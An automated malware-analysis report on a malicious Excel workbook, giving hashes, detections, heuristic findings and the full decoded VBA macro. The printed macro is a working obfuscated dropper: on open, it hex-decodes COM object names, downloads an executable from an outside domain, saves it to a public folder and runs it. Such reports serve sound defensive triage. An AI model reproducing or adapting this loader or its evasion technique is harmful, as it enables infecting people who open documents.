Office (OOXML) malware analysis — malicious · f0ab12c3aff583ac

MALICIOUS

Office (OOXML)

223.7 KB First seen: 2020-09-07

MD5: beba4350afd4fede7b3d36ed1b697309 SHA-1: 34e3b1524ee4cfa737161c1d84f63af28a3f920d SHA-256: f0ab12c3aff583ac8993a72681013e2823f2199e739bf4b625f14e6fa0688fa4

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains an obfuscated loader that utilizes CreateObject to download a file from the URL "https://indo-heav.com/$.exe" and execute it. The Workbook_Open subroutine is triggered automatically, indicating a malicious intent to execute the payload upon opening the document. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij.write hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6569 bytes
SHA-256: `b5d17c5eda7481d57e4b5b2e93ad6d4292222d68630dcdb3db39125071c0e664`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select ozknujfvvuqadsrykpfmnkbomlycrnzunjjmlyjhunihxcmvxubhtoldyvajkcdhvwmtjenlfyrzcurkydfxlsbzyfopxawrjamb"68 74 74 70 73 3A 2F 2F 69 6E 64 6F 2D 68 65 61 76 79 2E 63 6F 6D 2F 24 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub ozknujfvvuqadsrykpfmnkbomlycrnzunjjmlyjhunihxcmvxubhtoldyvajkcdhvwmtjenlfyrzcurkydfxlsbzyfopxawrjamb (jdywqqszvsqyzbaagfnamzxjyetfszdumjilmovvfxdgvtmtangzoyajgpxlwnhvowmptooskrvowrofszeftdfnjyfwqjysqhry As String) Dim hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn Range("A6:J13").Select Dim cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij Range("A6:J13").Select Dim avpriqrpaqvloltgvtongggiwdcnksoqoagmameisrkeosnstuwchuctohvfodeicexofggipfvpwctdpjuqvljtxmxsrzuombbj Range("A6:J13").Select Set hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set avpriqrpaqvloltgvtongggiwdcnksoqoagmameisrkeosnstuwchuctohvfodeicexofggipfvpwctdpjuqvljtxmxsrzuombbj = CreateObject(ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) rwkpqovphwxaneprmcdesqwlsmxmwdplfiqsrihzwiudprhyhabtbwxbzzxdqitehlufnwaevehkvtvafyfvbvjjkosskdinpqwd = ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp(jdywqqszvsqyzbaagfnamzxjyetfszdumjilmovvfxdgvtmtangzoyajgpxlwnhvowmptooskrvowrofszeftdfnjyfwqjysqhry) wckkaxyxonggdxysdxclcluyeitrvuuewsddnvuexmuxilonepkrokbkhmfsdgbuscjltvehdxnqrxqstfngjdplrtvbpbbrkaef = ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 74 64 65 6A 67 62 79 68 62 2e 65 78 65") ccuilcorxktjvnyxsvkomytazcrbwwfqtlqrleugpyogzmgccdypppsdjujilmvafcqjwhmoadzojnanwoysxqbdsmiqvmvccnbw = ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 74 64 65 6A 67 62 79 68 62 2e 65 78 65") hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn.Open chr(71) + chr(69) + chr(84), rwkpqovphwxaneprmcdesqwlsmxmwdplfiqsrihzwiudprhyhabtbwxbzzxdqitehlufnwaevehkvtvafyfvbvjjkosskdinpqwd, False hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn.send cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij.Type = 1 cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij.Open cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij.write hxalynpwdlnoastwibckqyfujrcbscypapxuzshgojjylqwypbkoegiisfcgkoeamxokuzxpuwwhpgjtvelrskkthpctqavzeimn.responseBody cldpevtikatlwikgcnibnvdfxdyubwcguvqkawmxrcjgvqwhqoxrakahhysawzgnymqbszggalkklwjghqdmzkgkujdcemaswvij.savetofile wckkaxyxonggdxysdxclcluyeitrvuuewsddnvuexmuxilonepkrokbkhmfsdgbuscjltvehdxnqrxqstfngjdplrtvbpbbrkaef, 2 avpriqrpaqvloltgvtongggiwdcnksoqoagmameisrkeosnstuwchuctohvfodeicexofggipfvpwctdpjuqvljtxmxsrzuombbj.Run ccuilcorxktjvnyxsvkomytazcrbwwfqtlqrleugpyogzmgccdypppsdjujilmvafcqjwhmoadzojnanwoysxqbdsmiqvmvccnbw End Sub Public Function ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp(ByVal vznmoonbznxmnrpejomqvdrsjnrpkgduakipwibhyhukpleakpfxolnriudawyqskcldizhamfsojgdxiqfvaffpwrhcfbkzqbam As String) As String Dim abskifljszibrfsfsvsexwgqsfvlvsxhgqxgyumvuwwxjfkziehuivpdvbscjznzbaubhlhxixkazihmuvcqldzlaulxckluixwi As String Dim kjrxxjllkpdmtghnxxnxbjanzjvymqscmzbleetcroalqzdwcxxljyhbidynomyuwbzufwjsdlgnipxzgywosgtnrzdaggoepgop As String Dim zirgnfixsussgygpqkbqhldfsjlxxbxcaiaxhqamywvxgkuizzofeyhnfmneukaqwqsxxjiajorlqfyipcyynsxcamrvdwsovfaq As Long For zirgnfixsussgygpqkbqhldfsjlxxbxcaiaxhqamywvxgkuizzofeyhnfmneukaqwqsxxjiajorlqfyipcyynsxcamrvdwsovfaq = 1 To Len(vznmoonbznxmnrpejomqvdrsjnrpkgduakipwibhyhukpleakpfxolnriudawyqskcldizhamfsojgdxiqfvaffpwrhcfbkzqbam)Step 3 abskifljszibrfsfsvsexwgqsfvlvsxhgqxgyumvuwwxjfkziehuivpdvbscjznzbaubhlhxixkazihmuvcqldzlaulxckluixwi = Chr$(Val("&H" & Mid$(vznmoonbznxmnrpejomqvdrsjnrpkgduakipwibhyhukpleakpfxolnriudawyqskcldizhamfsojgdxiqfvaffpwrhcfbkzqbam, zirgnfixsussgygpqkbqhldfsjlxxbxcaiaxhqamywvxgkuizzofeyhnfmneukaqwqsxxjiajorlqfyipcyynsxcamrvdwsovfaq, 2))) kjrxxjllkpdmtghnxxnxbjanzjvymqscmzbleetcroalqzdwcxxljyhbidynomyuwbzufwjsdlgnipxzgywosgtnrzdaggoepgop = kjrxxjllkpdmtghnxxnxbjanzjvymqscmzbleetcroalqzdwcxxljyhbidynomyuwbzufwjsdlgnipxzgywosgtnrzdaggoepgop & abskifljszibrfsfsvsexwgqsfvlvsxhgqxgyumvuwwxjfkziehuivpdvbscjznzbaubhlhxixkazihmuvcqldzlaulxckluixwi Next zirgnfixsussgygpqkbqhldfsjlxxbxcaiaxhqamywvxgkuizzofeyhnfmneukaqwqsxxjiajorlqfyipcyynsxcamrvdwsovfaq ptlshqbvwlaeeqkgxfwcvnveqxofcaqciqufsmqvqfcmejlgpp = kjrxxjllkpdmtghnxxnxbjanzjvymqscmzbleetcroalqzdwcxxljyhbidynomyuwbzufwjsdlgnipxzgywosgtnrzdaggoepgop End Function Attribute VB_Name = "wwfvqjolpduvtwlwoccobmrkz" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `380556c4dc6be891036d7a0f0aa47d9bf236f1467dc5eafcab9e0444c100436d`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 131 of 219 identifiers look randomly generated (e.g. 'D1D37D629A629A9D66639AEDDB507FC1B47BB145') — consistent with name-mangling obfuscation.

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